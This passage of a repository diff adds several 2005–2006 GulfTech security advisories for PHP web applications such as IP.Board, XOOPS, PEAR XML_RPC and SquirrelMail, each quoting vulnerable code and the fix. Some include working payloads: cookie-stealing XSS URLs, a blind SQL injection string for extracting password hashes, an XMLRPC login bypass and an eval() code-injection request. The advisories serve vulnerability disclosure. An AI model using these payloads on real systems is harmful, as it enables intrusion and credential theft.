ReviewPost 2.84 has been released to address these issues. Users should upgrade their installation as soon as possible.
|
||||
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team
|
43
exploits/php/webapps/43822.txt
Normal file
43
exploits/php/webapps/43822.txt
Normal file
|
@ -0,0 +1,43 @@
|
|||
PhotoPost Multiple Vulnerabilities
|
||||
|
||||
Vendor: All Enthusiast, Inc.
|
||||
Product: PhotoPost
|
||||
Version: <= 4.85
|
||||
Website: http://www.photopost.com/
|
||||
|
||||
BID: 12157
|
||||
CVE: CVE-2005-0273 CVE-2005-0274
|
||||
OSVDB: 12741 12741
|
||||
SECUNIA: 13680
|
||||
PACKETSTORM: 35595
|
||||
|
||||
Description:
|
||||
PhotoPost was designed to help you give your users exactly what they want. Your users will be thrilled to finally be able to upload and display their photos for your entire community to view and discuss, all with no more effort than it takes to post a text message to a forum. If you already have a forum (vBulletin, UBB Threads, phpBB, DCForum, or InvisionBoard), you'll appreciate that PhotoPost was designed to seamlessly integrate into your site without the need for your users to register twice and maintain two logins. PhotoPost Pro is vulnerable to some serious SQL Injection issues as well as cross site scripting. An update is available and all users should upgrade now.
|
||||
|
||||
|
||||
Cross Site Scripting:
|
||||
PhotoPost is prone to cross site scripting in several different scripts throughout the application. Below are examples:
|
||||
|
||||
http://path/showgallery.php?cat=[INT]&page=[XSS]
|
||||
http://path/showgallery.php?si=[XSS]
|
||||
http://path/showgallery.php?cat=[INT][XSS]
|
||||
http://path/showgallery.php?ppuser=[INT]&cat=[INT][XSS]
|
||||
|
||||
This can be used to render hostile code in the context of the victims browser, or to steal cookie based credentials or other sensitive info.
|
||||
|
||||
|
||||
SQL Injection Vulnerability:
|
||||
There are several SQL Injection vulnerabilities in this application. Some are easy to exploit, others are not so easy.
|
||||
|
||||
http://path/showgallery.php?cat=[INT][SQL]
|
||||
http://path/showgallery.php?ppuser=[INT][SQL]&cat=[INT]
|
||||
|
||||
These SQL issues can possibly be exploited to influence SQL queries and disclose arbitrary data. These will alse cause XSS if unsuccessful.
|
||||
|
||||
|
||||
Solution:
|
||||
PhotoPost 4.86 has been released to address these issues. Users should upgrade their installation as soon as possible.
|
||||
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team
|
58
exploits/php/webapps/43823.txt
Normal file
58
exploits/php/webapps/43823.txt
Normal file
|
@ -0,0 +1,58 @@
|
|||
AZBB Multiple Vulnerabilities
|
||||
|
||||
Vendor: AZBB
|
||||
Product: AZBB
|
||||
Version: <= 1.0.07d
|
||||
Website: http://azbb.cyaccess.com/
|
||||
|
||||
BID: 13272 13278
|
||||
CVE: CVE-2005-1200 CVE-2005-1201
|
||||
OSVDB: 15700 15701 15702 15703
|
||||
SECUNIA: 15013
|
||||
PACKETSTORM: 37792
|
||||
|
||||
Description:
|
||||
azbb is a forum that was written with a primary focus on security. azbb does not require a database such as MySQL, PostGres or MSSQL and can even be used as a blog, or portal of sorts. Unfortunately there are a number of security issues in AZBB versions prior to 1.0.08, but none of these issues are considered "high risk". However, the developer has addressed these issues and all users should upgrade to the current 1.0.08 version. These vulnerabilities include file enumeration, arbitrary file deletion, and file inclusion issues.
|
||||
|
||||
|
||||
Arbitrary File Deletion:
|
||||
There is an issue in AZBB that could allow for an attacker logged in as an admin, or a malicious admin to delete arbitrary files outside the scope of the application. The vulnerable code is in admin_avatar.php and admin_attachment.php Lets have a look at the code in admin_avatar.php
|
||||
|
||||
## trim all and delete
|
||||
foreach ($_POST['avat_select'] as $ent)
|
||||
{
|
||||
if (file_exists($dir_avatar.'/'.$ent))
|
||||
{ unlink($dir_avatar.'/'.$ent); }
|
||||
}
|
||||
|
||||
As we can see there are no checks made for traversal sequences, and a user with admin privileges could easily delete arbitrary files on the server. The vulnerability in admin_attachment.php is nearly identical.
|
||||
|
||||
|
||||
File Include Vulnerability:
|
||||
There is a file inclusion vulnerability in AZBB 1.0.07a - 1.0.07c that is the result of missing code that is present in all of the other AZBB versions. This file inclusion issue poses a different risk level depending on your server configuration. Lets have a look at the code in question. @ /azbb_center/source/main_index.php
|
||||
########## Get the Abstraction Layer
|
||||
$inc = $dir_src.'/'.$abs_layer.'_db_ops.php';
|
||||
file_exists($inc) ? include($inc) : exit('Unable to open '.$inc);
|
||||
|
||||
Since the "AZBB KEY CHECK" that exists in other pages is missing from this page we can influence both the $dir_src and $abs_layer variables if register globals is on. However, what we can do with this greatly depends on the server configuration, and this is a result of the file_exists() function being used. You can read more about this in the official php manual located here http://us2.php.net/file_exists
|
||||
|
||||
|
||||
Arbitrary File Enumeration:
|
||||
There is an issue in AZBB that can be exploited by both users and guests alike to tell whether or not files on the target server exists. This is due to a file check coming before the input is cleaned in attachment.php
|
||||
|
||||
elseif (!file_exists($dir_att.'/'.$_POST['attachment'])) {$error = $txt_err[13];}
|
||||
|
||||
This issue can not be used to download arbitrary files, because the input is cleaned before the file is included, but we can enumerate files. To check if a file exists on the target web server all an attacker has to do is modify the "attachment" parameter to include traversal sequences. If the file exists we will be prompted with a download, and if it doesn't exists we will see an error message.
|
||||
|
||||
|
||||
Solution:
|
||||
The developer of AZBB was very quick to respond and has addressed these issues. A complete change log can be seen by following the url posted below. Also, you will find the link to the updated AZBB 1.0.08 downloads below
|
||||
|
||||
http://azbb.cyaccess.com/azbb.php?1091778548
|
||||
http://azbb.cyaccess.com/azbb.php?1091872271
|
||||
|
||||
All users are advised to upgrade their azbb installations as soon as possible. A special thanks to AZ for remedying these issues so quickly. If everyone responded in this timely of a manner it would make what we do a lot easier :)
|
||||
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team
|
91
exploits/php/webapps/43824.txt
Normal file
91
exploits/php/webapps/43824.txt
Normal file
|
@ -0,0 +1,91 @@
|
|||
IP.Board Multiple Vulnerabilities
|
||||
|
||||
Vendor: Invision Power Services
|
||||
Product: IP.Board
|
||||
Version: <= 2.0.3
|
||||
Website: http://www.invisionboard.com/
|
||||
|
||||
BID: 13529 13534
|
||||
CVE: CVE-2005-1597 CVE-2005-1598
|
||||
OSVDB: 16297 16298
|
||||
SECUNIA: 15265
|
||||
PACKETSTORM: 39098
|
||||
|
||||
Description:
|
||||
Invision Power Board (IPB) is a professional forum system that has been built from the ground up with speed and security in mind. It is used by a great many people all over the world. All versions of Invision Power Board are vulnerable to a serious SQL Injection vulnerability. An attacker does not have to be logged in, or even have access or permission to view the forums in order to exploit this vulnerability. Users should upgrade immediately.
|
||||
|
||||
|
||||
Cross Site Scripting:
|
||||
It is possible for an attacker to conduct Cross Site Scripting attacks in all versions of invision power board prior to the recently released 2.0.4. This vulnerability exists due to data submitted to the "highlite" parameter not being sanatized properly when displaying search results. The same issue also exists in "sources/topics.php". The only condition is that the data sent to the "highlite" parameter must be double hex encoded data in order to bypass the global sanatation methods.
|
||||
|
||||
|
||||
SQL Injection:
|
||||
I have discovered a serious SQL Injection issue in Invision Power Board that affects most all versions of Invision Power Board regardless of most server configurations. Also, because of the fact that UNION functionality is not needed an attacker need not worry if the victim is running an up to date version of MySQL. The vulnerability lies in the way that Invision Board handles certain types of "login methods". Let us have a look at the source of 'sources/login.php'
|
||||
|
||||
if ( ! $ibforums->member['id'] )
|
||||
{
|
||||
$mid = intval($std->my_getcookie('member_id'));
|
||||
$pid = $std->my_getcookie('pass_hash');
|
||||
|
||||
If ($mid and $pid)
|
||||
{
|
||||
|
||||
$DB->query("SELECT * FROM ibf_members WHERE id=$mid AND password='$pid'");
|
||||
|
||||
if ( $member = $DB->fetch_row() )
|
||||
{
|
||||
$ibforums->member = $member;
|
||||
$ibforums->session_id = "";
|
||||
$std->my_setcookie('session_id','0', -1 );
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
This particular portion of code is from the IPB 1.* series, but the vulnerability seems to exists on all versions of IPB (both the 1.* and 2.* series). Anyway, as we can see from the above code the variable $mid is properly forced into an integer datatype and as a result is safe to pass to the query, but what about $pid? In the above code we see that the value of $pid is returned from the my_getcookie() function within the FUNC class. Well, let us have a look at this function to see if $pid is sanatized within the function itself.
|
||||
|
||||
function my_getcookie($name)
|
||||
{
|
||||
global $ibforums;
|
||||
|
||||
if (isset($_COOKIE[$ibforums->vars['cookie_id'].$name]))
|
||||
{
|
||||
return urldecode($_COOKIE[$ibforums->vars['cookie_id'].$name]);
|
||||
}
|
||||
else
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
In the above code we can see that not only is the data unsanatized, but the way the urldecode() function is used also lets an attacker bypass magic_quotes_gpc. Now, back to the auto_login() function where we want to concentrate on this bit of code.
|
||||
|
||||
$DB->query("SELECT * FROM ibf_members WHERE id=$mid AND password='$pid'");
|
||||
|
||||
if ( $member = $DB->fetch_row() )
|
||||
{
|
||||
$ibforums->member = $member;
|
||||
$ibforums->session_id = "";
|
||||
$std->my_setcookie('session_id','0', -1 );
|
||||
}
|
||||
|
||||
|
||||
|
||||
This would be a very easy issue to exploit if visible data was returned to the browser, but all we will be able to see is a line in the response header that looks something like this.
|
||||
|
||||
Set-Cookie: session_id=0; path=/; domain=example.com
|
||||
|
||||
If we see this then we know the query returned true and produced some results. This is not that easy of an issue to exploit, but there are a number of ways to successfully take advantage of this issue. For one an attacker can select member data into an outfile and use thier browser to retrieve that data, or use the MySQL "mid" function to enumerate each character of the hash one by one until the entire hash is discovered! In future versions of MySQL issues like this will be a lot easier to exploit as we will then be able to "SELECT * FROM `blah` INTO TABLE `foobar`" much like Oracle database for example. With functionality like that an attacker can then do things like dump user data into a message to himself. There is working exploit code for this issue available, but we will not be releasing it publicly. Users should upgrade as soon as possible, as this is a fairly dangerous vulnerability.
|
||||
|
||||
|
||||
Solution:
|
||||
Matthew Mecham addressed these issues in a VERY timely and professional manner and fixes have been available for some time now.
|
||||
|
||||
http://forums.invisionpower.com/index.php?showtopic=168016
|
||||
|
||||
All users should upgrade thier Invision Power Board installations as soon as possible, as these vulnerabilities make it fairly easy to grab sensitive user data including password hashes from the database.
|
||||
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team
|
68
exploits/php/webapps/43825.txt
Normal file
68
exploits/php/webapps/43825.txt
Normal file
|
@ -0,0 +1,68 @@
|
|||
Burning Board SQL Injection
|
||||
|
||||
Vendor: Woltlab GmbH
|
||||
Product: Burning Board
|
||||
Version: <= 2.3.1
|
||||
Website: http://www.woltlab.de/
|
||||
|
||||
BID: 13643
|
||||
CVE: CVE-2005-1642
|
||||
OSVDB: 16575
|
||||
SECUNIA: 15395
|
||||
PACKETSTORM: 39262
|
||||
|
||||
Description:
|
||||
Burning Board is a popular, multi purpose forum / community software offered by WoltLab GmbH. There is an SQL Injection vulnerability in Burning Board 2.* and earlier that allows for an attacker to influence SQL Queries and possibly query arbitrary data from the database, such as admin password hashes. The developers are said to have made a patch available as of late last week, and all users should upgrade their Burning Board installations as soon as possible.
|
||||
|
||||
|
||||
SQL Injection Vulnerability:
|
||||
Burning Board is prone to SQL Injection attacks that may allow for an attacker to query arbitrary database information, including admin password hashes. The vulnerability lies in the verify_email() function
|
||||
|
||||
|
||||
function verify_email($email) {
|
||||
global $db, $n, $multipleemailuse, $ban_email;
|
||||
|
||||
$email=strtolower($email);
|
||||
if(!preg_match("/^([_a-zA-Z0-9-]+(\.[_a-zA-Z0-9-]+)*@[a-zA-Z0-9-]+(\.[a-zA-Z0-9-]+)*
|
||||
(\.[a-zA-Z]{2,}))/si",$email)) return false;
|
||||
$ban_email=explode("\n",preg_replace("/\s*\n\s*/","\n",strtolower(trim($ban_email))));
|
||||
for($i = 0; $i < count($ban_email); $i++) {
|
||||
$ban_email[$i]=trim($ban_email[$i]);
|
||||
if(!$ban_email[$i]) continue;
|
||||
if(strstr($ban_email[$i], "*")) {
|
||||
$ban_email[$i] = str_replace("*",".*",$ban_email[$i]);
|
||||
if(preg_match("/$ban_email[$i]/i",$email)) return false;
|
||||
}
|
||||
elseif($email==$ban_email[$i]) return false;
|
||||
}
|
||||
if($multipleemailuse==1) return true;
|
||||
else {
|
||||
$result = $db->query_first("SELECT COUNT(*) FROM bb".$n."_users WHERE email = '".$email."'");
|
||||
if($result[0]!=0) return false;
|
||||
else return true;
|
||||
}
|
||||
}
|
||||
|
||||
As we can see from the code above, $email is never really sanitized. Sure, it has to match the regular expression above, but we can always do something like pass it an email address like this
|
||||
|
||||
sre464hfrgt6@4g546ufgfrh5.org' OR (userid=1 AND MID(password,1,1)='a')/*
|
||||
|
||||
Which would return an error message about the email already being in use or invalid if the first character of the password hash is 'a'. In order to keep from registering multiple accounts while trying to exploit this vulnerability an attacker simply would need to specify a username that is already in use. Also, it should be noted that it does not matter that $email is encapsulated in single quotes due to this bit of code in global.php
|
||||
|
||||
// remove slashes in get post cookie data...
|
||||
if (get_magic_quotes_gpc()) {
|
||||
if(is_array($_REQUEST)) $_REQUEST=stripslashes_array($_REQUEST);
|
||||
if(is_array($_POST)) $_POST=stripslashes_array($_POST);
|
||||
if(is_array($_GET)) $_GET=stripslashes_array($_GET);
|
||||
if(is_array($_COOKIE)) $_COOKIE=stripslashes_array($_COOKIE);
|
||||
}
|
||||
|
||||
This is not a very hard issue to exploit, and a user does not need to be authenticated to exploit it. Also, disabling user registrations is not a safe work around by itself as this issue also exists when a user edit's or update's their profile (in the email field). Exploit code for this issue exists, and has been released to the developers, but we will not be making it available to the public at this time.
|
||||
|
||||
|
||||
Solution:
|
||||
The developers are said to have made a patch available as of late last week, and all users should upgrade their Burning Board installations as soon as possible.
|
||||
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team
|
88
exploits/php/webapps/43827.txt
Normal file
88
exploits/php/webapps/43827.txt
Normal file
|
@ -0,0 +1,88 @@
|
|||
XOOPS Multiple Vulnerabilities
|
||||
|
||||
Vendor: XOOPS
|
||||
Product: XOOPS
|
||||
Version: <= 2.0.11
|
||||
Website: http://www.xoops.org/
|
||||
|
||||
BID: 14094 14096
|
||||
CVE: CVE-2005-2112 CVE-2005-2113
|
||||
OSVDB: 17633 17634 17635
|
||||
SECUNIA: 15843
|
||||
PACKETSTORM: 38372
|
||||
|
||||
Description:
|
||||
XOOPS is a very popular dynamic web content management system written in Object Oriented PHP. One of the features of XOOPS is it's own XMLRPC server that handles incoming XMLRPC requests. This particular feature is vulnerable to a highly critical SQL Injection issue. Additionally there are several cross site scripting issues in XOOPS as well which could allow for theft of user data or client side code execution in the context of the victim's web browser.
|
||||
|
||||
|
||||
Cross Site Scripting:
|
||||
There are a number of cross site scripting issues in the XOOPS content management software.
|
||||
|
||||
http://xoops/modules/newbb/edit.php?forum=1&topic_id=1&viewmode=flat&order=
|
||||
ASC%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3C/script%3E&post_id=1
|
||||
|
||||
http://xoops/modules/repository/comment_edit.php?com_itemid=1&com_order=0&com
|
||||
_mode=flat&cid=1&cid=1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
|
||||
%3C/script%3E&com_id=1
|
||||
|
||||
These vulnerabilities can be used to render hostile code in the context of the victims browser, and in turn disclose sensitive information to an attacker.
|
||||
|
||||
|
||||
SQL Injection:
|
||||
As I mentioned earlier XOOPS comes with it's own XMLRPC server which is enabled by default and is named xmlrpc.php The problem with XMLRPC in xoops is lack of sanitation, but because the data is recieved from the reserved $HTTP_RAW_POST_DATA variable magic_quotes_gpc are never applied! This is a big problem and makes every allowable RPC method in the XOOPS XMLRPC server vulnerable to SQL injection. Why? Well, the main reason is this. This code is from the bloggerapi.php file that handles all incoming blogger XMLRPC requests.
|
||||
|
||||
function getUserInfo()
|
||||
{
|
||||
if (!$this->_checkUser($this->params[1], $this->params[2])) {
|
||||
$this->response->add(new XoopsXmlRpcFault(104));
|
||||
} else {
|
||||
$struct = new XoopsXmlRpcStruct();
|
||||
$struct->add('nickname', new XoopsXmlRpcString($this->user->getVar('uname')));
|
||||
$struct->add('userid', new XoopsXmlRpcString($this->user->getVar('uid')));
|
||||
$struct->add('url', new XoopsXmlRpcString($this->user->getVar('url')));
|
||||
$struct->add('email', new XoopsXmlRpcString($this->user->getVar('email')));
|
||||
$struct->add('lastname', new XoopsXmlRpcString(''));
|
||||
$struct->add('firstname', new XoopsXmlRpcString($this->user->getVar('name')));
|
||||
$this->response->add($struct);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
the _checkUser function is really just a wrapper for the XMLRPC server, as the arguments are eventually passed to the XOOPS core function "loginUser()" which is where the real problem happens. Below is a sample xml file that when sent to the server will influence the query.
|
||||
|
||||
<?xml version="1.0"?>
|
||||
<methodCall>
|
||||
<methodName>blogger.getPost</methodName>
|
||||
<params>
|
||||
<param>
|
||||
<value><string></string></value>
|
||||
</param>
|
||||
<param>
|
||||
<value><string></string></value>
|
||||
</param>
|
||||
<param>
|
||||
<value><string>admin')/*</string></value>
|
||||
</param>
|
||||
<param>
|
||||
<value><string>passwordfield</string></value>
|
||||
</param>
|
||||
<param>
|
||||
<value><string></string></value>
|
||||
</param>
|
||||
</params>
|
||||
</methodCall>
|
||||
|
||||
|
||||
This example would authenticate you in as admin and then execute the blogger.getPost method call. An attacker could use this vulnerability to easily gain the administrator hash, and much more.
|
||||
|
||||
|
||||
Solution:
|
||||
A new version of XOOPS has been released, and users should upgrade as soon as possible.
|
||||
|
||||
http://www.xoops.org/modules/news/article.php?storyid=2383
|
||||
|
||||
Special thanks to Jan Pederson from XOOPS for acting so quickly on this very high risk issue. Very prompt, very professional!
|
||||
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team
|
67
exploits/php/webapps/43828.txt
Normal file
67
exploits/php/webapps/43828.txt
Normal file
|
@ -0,0 +1,67 @@
|
|||
PEAR XML_RPC Remote Code Execution
|
||||
|
||||
Vendor: The PEAR Group
|
||||
Product: PEAR XML_RPC
|
||||
Version: <= 1.3.0
|
||||
Website: http://pear.php.net/package/XML_RPC/
|
||||
|
||||
CVE: 17793
|
||||
PACKETSTORM: 38393
|
||||
|
||||
Description:
|
||||
PEAR XML_RPC is a PHP implementation of the XML-RPC web RPC protocol, and used by many different developers across the world. PEAR XML_RPC was originally developed by Edd Dumbill of Useful Information Company, but has since been expanded by several individuals. Unfortunately PEAR XML_RPC is vulnerable to a remote php code execution vulnerability that may allow for an attacker to compromise a vulnerable server. Version 1.3.1 has been released to address these issues.
|
||||
|
||||
|
||||
Remote Command Execution:
|
||||
PEAR XML_RPC is vulnerable to a very high risk php code injection vulnerability due to unsanatized data being passed into an eval() call. Let us have a look at the code that allows the vulnerability to present itself.
|
||||
|
||||
// decompose incoming XML into request structure
|
||||
xml_parser_set_option($parser_resource, XML_OPTION_CASE_FOLDING, true);
|
||||
xml_set_element_handler($parser_resource, 'XML_RPC_se', 'XML_RPC_ee');
|
||||
xml_set_character_data_handler($parser_resource, 'XML_RPC_cd');
|
||||
if (!xml_parse($parser_resource, $data, 1)) {
|
||||
// return XML error as a faultCode
|
||||
$r = new XML_RPC_Response(0,
|
||||
$XML_RPC_errxml+xml_get_error_code($parser_resource),
|
||||
sprintf('XML error: %s at line %d',
|
||||
xml_error_string(xml_get_error_code($parser_resource)),
|
||||
xml_get_current_line_number($parser_resource)));
|
||||
xml_parser_free($parser_resource);
|
||||
} else {
|
||||
xml_parser_free($parser_resource);
|
||||
$m = new XML_RPC_Message($XML_RPC_xh[$parser]['method']);
|
||||
// now add parameters in
|
||||
for ($i = 0; $i < sizeof($XML_RPC_xh[$parser]['params']); $i++) {
|
||||
// print '\n";
|
||||
$plist .= "$i - " . $XML_RPC_xh[$parser]['params'][$i] . " \n";
|
||||
eval('$m->addParam(' . $XML_RPC_xh[$parser]['params'][$i] . ');');
|
||||
}
|
||||
XML_RPC_Server_debugmsg($plist);
|
||||
|
||||
|
||||
The for() loop that holds the vulnerable eval() call is used to build the request from an incoming POST containing an XML document. There is really no type of checks or sanitation done prior to this point, and the fact that magic_quotes_gpc does not apply makes it that much easier for this issue to be exploited.
|
||||
|
||||
<?xml version="1.0"?>
|
||||
<methodCall>
|
||||
<methodName>test.method</methodName>
|
||||
<params>
|
||||
<param>
|
||||
<value><name>','')); phpinfo(); exit;/*</name></value>
|
||||
</param>
|
||||
</params>
|
||||
</methodCall>
|
||||
|
||||
|
||||
The above xml file when posted to the vulnerable server will cause the phpinfo() function call to be executed on the vulnerable server.
|
||||
|
||||
|
||||
Solution:
|
||||
PEAR XML_RPC 1.3.1 has been released to address this issue and can be found at
|
||||
|
||||
http://pear.php.net/package/XML_RPC/download/1.3.1
|
||||
|
||||
Both users and developers alike are strongly advised to upgrade immediately!
|
||||
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team
|
72
exploits/php/webapps/43829.txt
Normal file
72
exploits/php/webapps/43829.txt
Normal file
|
@ -0,0 +1,72 @@
|
|||
PHPXMLRPC Remote Code Execution
|
||||
|
||||
Vendor: Useful Information Inc.
|
||||
Product: PHPXMLRPC
|
||||
Version: <= 1.1
|
||||
Website: http://phpxmlrpc.sourceforge.net/
|
||||
|
||||
BID: 14088
|
||||
CVE: CVE-2005-1921
|
||||
OSVDB: 17793
|
||||
SECUNIA: 15852
|
||||
PACKETSTORM: 38394
|
||||
|
||||
Description:
|
||||
PHPXMLRPC aka XML-RPC For PHP is a PHP implementation of the XML-RPC web RPC protocol, and was originally developed by Edd Dumbill of Useful Information Company. As of the 1.0 stable release, the project has been opened to wider involvement and moved to SourceForge. PHPXMLRPC is used in a large number of popular web applications such as PostNuke, Drupal, b2evolution, and TikiWiki. Unfortunately PHPXMLRPC is vulnerable to a remote php code execution vulnerability that may be exploited by an attacker to compromise a vulnerable system.
|
||||
|
||||
|
||||
Remote Code Execution:
|
||||
PHPXMLRPC is vulnerable to a very high risk remote php code execution vulnerability that may allow for an attacker to compromise a vulnerable webserver. The vulnerability is the result of unsanatized data being passed directly into an eval() call in the parseRequest() function of the XMLRPC server.
|
||||
|
||||
|
||||
// decompose incoming XML into request structure
|
||||
xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, true);
|
||||
xml_set_element_handler($parser, "xmlrpc_se", "xmlrpc_ee");
|
||||
xml_set_character_data_handler($parser, "xmlrpc_cd");
|
||||
xml_set_default_handler($parser, "xmlrpc_dh");
|
||||
if (!xml_parse($parser, $data, 1)) {
|
||||
// return XML error as a faultCode
|
||||
$r=new xmlrpcresp(0,
|
||||
$xmlrpcerrxml+xml_get_error_code($parser),
|
||||
sprintf("XML error: %s at line %d",
|
||||
xml_error_string(xml_get_error_code($parser)),
|
||||
xml_get_current_line_number($parser)));
|
||||
xml_parser_free($parser);
|
||||
} else {
|
||||
xml_parser_free($parser);
|
||||
$m=new xmlrpcmsg($_xh[$parser]['method']);
|
||||
// now add parameters in
|
||||
$plist="";
|
||||
for($i=0; $i\n";
|
||||
$plist.="$i - " . $_xh[$parser]['params'][$i]. " \n";
|
||||
eval('$m->addParam(' . $_xh[$parser]['params'][$i]. ");");
|
||||
}
|
||||
|
||||
|
||||
By creating an XML file that uses single quotes to escape into the eval() call an attacker can easily execute php code on the target server. This has a lot to do with the fact that magic_quotes_gpc() does not apply to $HTTP_RAW_POST_DATA so using single quotes is not a problem.
|
||||
|
||||
|
||||
<?xml version="1.0"?>
|
||||
<methodCall>
|
||||
<methodName>test.method</methodName>
|
||||
<params>
|
||||
<param>
|
||||
<value><name>','')); phpinfo(); exit;/*</name></value>
|
||||
</param>
|
||||
</params>
|
||||
</methodCall>
|
||||
|
||||
|
||||
The above xml file when posted to the vulnerable server will cause the phpinfo() function call to be executed on the vulnerable server.
|
||||
|
||||
|
||||
Solution:
|
||||
An updated version of PHPXMLRPC can be downloaded from their official website, and all users are advised to upgrade immediately.
|
||||
|
||||
http://sourceforge.net/project/showfiles.php?group_id=34455&package_id=26601
|
||||
|
||||
A special thanks to Ed Dumbill, Giunta Gaetano, and all of the other people that helped get this fix out, and all of the people who helped us try and track down developers who were using this third party XMLRPC library.
|
||||
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team
|
53
exploits/php/webapps/43830.txt
Normal file
53
exploits/php/webapps/43830.txt
Normal file
|
@ -0,0 +1,53 @@
|
|||
SquirrelMail Arbitrary Variable Overwrite
|
||||
|
||||
Vendor: The SquirrelMail Project Team
|
||||
Product: SquirrelMail
|
||||
Version: <= 1.4.5-RC1
|
||||
Website: http://www.squirrelmail.org/
|
||||
|
||||
BID: 14254
|
||||
CVE: CVE-2005-2095
|
||||
SECUNIA: 16058
|
||||
PACKETSTORM: 38709
|
||||
|
||||
Description:
|
||||
SquirrelMail is a standards-based webmail package written in php. It includes built-in pure PHP support for the IMAP and SMTP protocols. Unfortunately there is a fairly serious variable handling issue in one of the core SquirrelMail scripts that can allow an attacker to take control of variables used within the script, and influence functions and actions within the script. An updated version of SquirrelMail can be downloaded from their official website. Users are advised to update their SquirrelMail installations as soon as possible.
|
||||
|
||||
|
||||
Variable Overwriting:
|
||||
There is a fairly serious variable overwriting vulnerability in one of the core SquirrelMail scripts. The vulnerable script makes use of an extract() call in a careless manner, thus allowing us to overwrite any variables declared before the fault extract call is made. Let's have a look at /src/options_identities.php
|
||||
|
||||
/**
|
||||
* Path for SquirrelMail required files.
|
||||
* @ignore
|
||||
*/
|
||||
define('SM_PATH','../');
|
||||
|
||||
/* SquirrelMail required files. */
|
||||
require_once(SM_PATH . 'include/validate.php');
|
||||
require_once(SM_PATH . 'functions/global.php');
|
||||
require_once(SM_PATH . 'functions/display_messages.php');
|
||||
require_once(SM_PATH . 'functions/html.php');
|
||||
|
||||
/* POST data var names are dynamic because
|
||||
of the possible multiple idents so lets get
|
||||
them all
|
||||
*/
|
||||
|
||||
if (!empty($_POST)) {
|
||||
extract($_POST);
|
||||
}
|
||||
|
||||
As we can see from the above block of code, the careless extract() call is made after a majority of the important variables used in the application are loaded, thus making them vulnerable to being easily overwritten. In short, by submitting the variable(s) of the attackers choosing a malicious user could easily influence many important variables, and function calls.
|
||||
|
||||
|
||||
Solution:
|
||||
Thanks to Jonathan Angliss and the SquirrelMail team for a prompt resolution to this vulnerability. In regards to the updated files
|
||||
|
||||
http://www.squirrelmail.org/download.php
|
||||
|
||||
The latest version of SquirrelMail 1.4.5 can be downloaded from the link above, and users are advised to upgrade as soon as possible.
|
||||
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team
|
29
exploits/php/webapps/43831.txt
Normal file
29
exploits/php/webapps/43831.txt
Normal file
|
@ -0,0 +1,29 @@
|
|||
XPCOM Race Condition
|
||||
|
||||
Vendor: Mozilla
|
||||
Product: XPCOM
|
||||
Version:
|
||||
Website: http://www.mozilla.org/projects/xpcom/
|
||||
|
||||
CVE: CVE-2005-2414
|
||||
OSVDB: 18226
|
||||
PACKETSTORM: 38837
|
||||
|
||||
Description:
|
||||
xpcom, or cross platform component object model is a framework for writing cross-platform, modular software. The xpcom library is used in many applications including a majority of the popular browsers such as FireFox, NetScape, Mozilla, Galeon, etc. It seems that there is a race condition of sorts in xpcom that makes it possible for an attacker to crash a victims browser by having them view a malformed html document. This issue is not believed to be exploitable by the Mozilla dev team, and will likely be addressed in full at a later date by the development team.
|
||||
|
||||
|
||||
XPCOM Race Condition:
|
||||
It is possible for an attacker to create a race condition that will cause an access violation and result in a hard crash of the browser. One way to trigger this issue is by taking a decent sized html file and loading a dom call within some nested divs that will cause part of the page currently being rendered to be deleted. If the page has not loaded by the time the dom call is made then we can delete objects that have yet to be referenced, which will result in a crash as soon as the browser tries to reference the deleted object.
|
||||
|
||||
http://www.gulftech.org/wrecko.html
|
||||
|
||||
The above link is a simple proof of concept I wrote a few months ago to show the developers how the issue could be used to cause a crash of the affected web browser. Due to time constraints I have not got to look into this issue very in depth, but it may be possible to use the race condition described here in combination with other dom calls or javascript to produce different results than those demonstrated in my proof of concept.
|
||||
|
||||
|
||||
Solution:
|
||||
Mozilla have been aware of this issue for some months, and have fixed the issue on trunk, but not on branch. The reason for this as stated by one of the developers is "fixes for this stuff could easily cause regressions". I did test this issue on the latest copy of the mozilla browser (Deer Park) this morning though, and it seemed to NOT be vulnerable. However, firefox and the like are still affected.
|
||||
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team
|
39
exploits/php/webapps/43832.txt
Normal file
39
exploits/php/webapps/43832.txt
Normal file
|
@ -0,0 +1,39 @@
|
|||
ADOdb Cross Site Scripting
|
||||
|
||||
Vendor: John Lim
|
||||
Product: ADOdb
|
||||
Version: <= 4.71
|
||||
Website: http://adodb.sourceforge.net/
|
||||
|
||||
BID: 16720
|
||||
CVE: CVE-2006-0806
|
||||
OSVDB: 23362 23363 23364
|
||||
SECUNIA: 18928
|
||||
PACKETSTORM: 44065
|
||||
|
||||
Description:
|
||||
ADOdb is a database abstraction library for php used by a great deal of projects to provide support for a number of well known database api's. ADOdb also comes with various functions to perform routine database related tasks. One of the more useful of these functions is ADOdb's ability to paginate the retrieved database records by using the ADODB_Pager class. However, there are several cross site scripting issues within the ADODB_Pager class that may allow for an attacker to render malicious client side code in the victims browser. An updated version of ADOdb has been released, and users should update their ADOdb library.
|
||||
|
||||
|
||||
Cross Site Scripting:
|
||||
There are several Cross Site Scripting issues in ADOdb versions 4.71 and possibly earlier that may allow for an attacker to render malicious client side code in the victim's browser.
|
||||
if (isset($_GET[$next_page])) {
|
||||
$_SESSION[$curr_page] = $_GET[$next_page];
|
||||
}
|
||||
if (empty($_SESSION[$curr_page])) $_SESSION[$curr_page] = 1; ## at first page
|
||||
|
||||
$this->curr_page = $_SESSION[$curr_page];
|
||||
|
||||
